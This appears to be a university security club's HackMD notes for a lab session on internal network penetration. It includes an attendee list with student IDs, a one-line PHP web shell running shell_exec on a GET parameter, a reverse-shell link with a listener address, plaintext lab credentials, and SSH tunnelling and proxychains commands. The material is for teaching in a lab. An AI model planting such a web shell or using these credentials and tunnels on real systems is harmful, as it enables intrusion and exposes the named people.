###### tags: `1102`

:::success
社課簽到:
B093012033 王勤
B093040016 高聖傑
B093040044 蔡明軒
M093010066 謝佳翰
B073021021 林靖庭
B102040045 曾新惟
B103012014 吳光燁
M083140001 張郢展
M083140005 曾煜鈞
:::

:::info
:exclamation: 今天會開放兩場大學之道報名社內保障名額，大概在9：00左右，**member only!**
:exclamation:報名網址here(開到21：50): https://nsysuisc.kktix.cc/
:::

第七次社課-內網滲透
===
[PPT](https://anonfiles.com/hbt0xcY0xe/isc220420_pptx)

講者： Arikoi

CTFd: http://103.29.70.22:8000/

Web Server

140.117.0.0/16
http://103.29.70.22/
VPN
http://10.0.20.10/

VPN Config
https://hackmd.io/p_3sLRZ2RPqOqxNS3b51Dg

cmd.php?e=

<?php
    echo shell_exec($_GET['e'], '2>&1');

https://www.revshells.com/

103.29.70.22 9487
guest:isclab_K4L1_nc47

MySQL Connect String
$mysql –h Server –u User –pPassword Database

Kali 10.0.20.50

10.0.20.10
usarname:password = macaca:mhub

- Local Port Forward
ssh –L [Client:]1234:TargetServer:8080 user@SSHServer

- Remote Port Forward
ssh –R SSHServer:5555:TargetServer:1234 user@SSHServer

- Dynamic Port Forward
ssh –D [Client:]1234 user@SSHServer

- Reverse Dynamic Port Forward
ssh –R Host:1234 user@Client

/etc/proxychains4.conf

[proxylist]
socks4 127.0.0.1 9050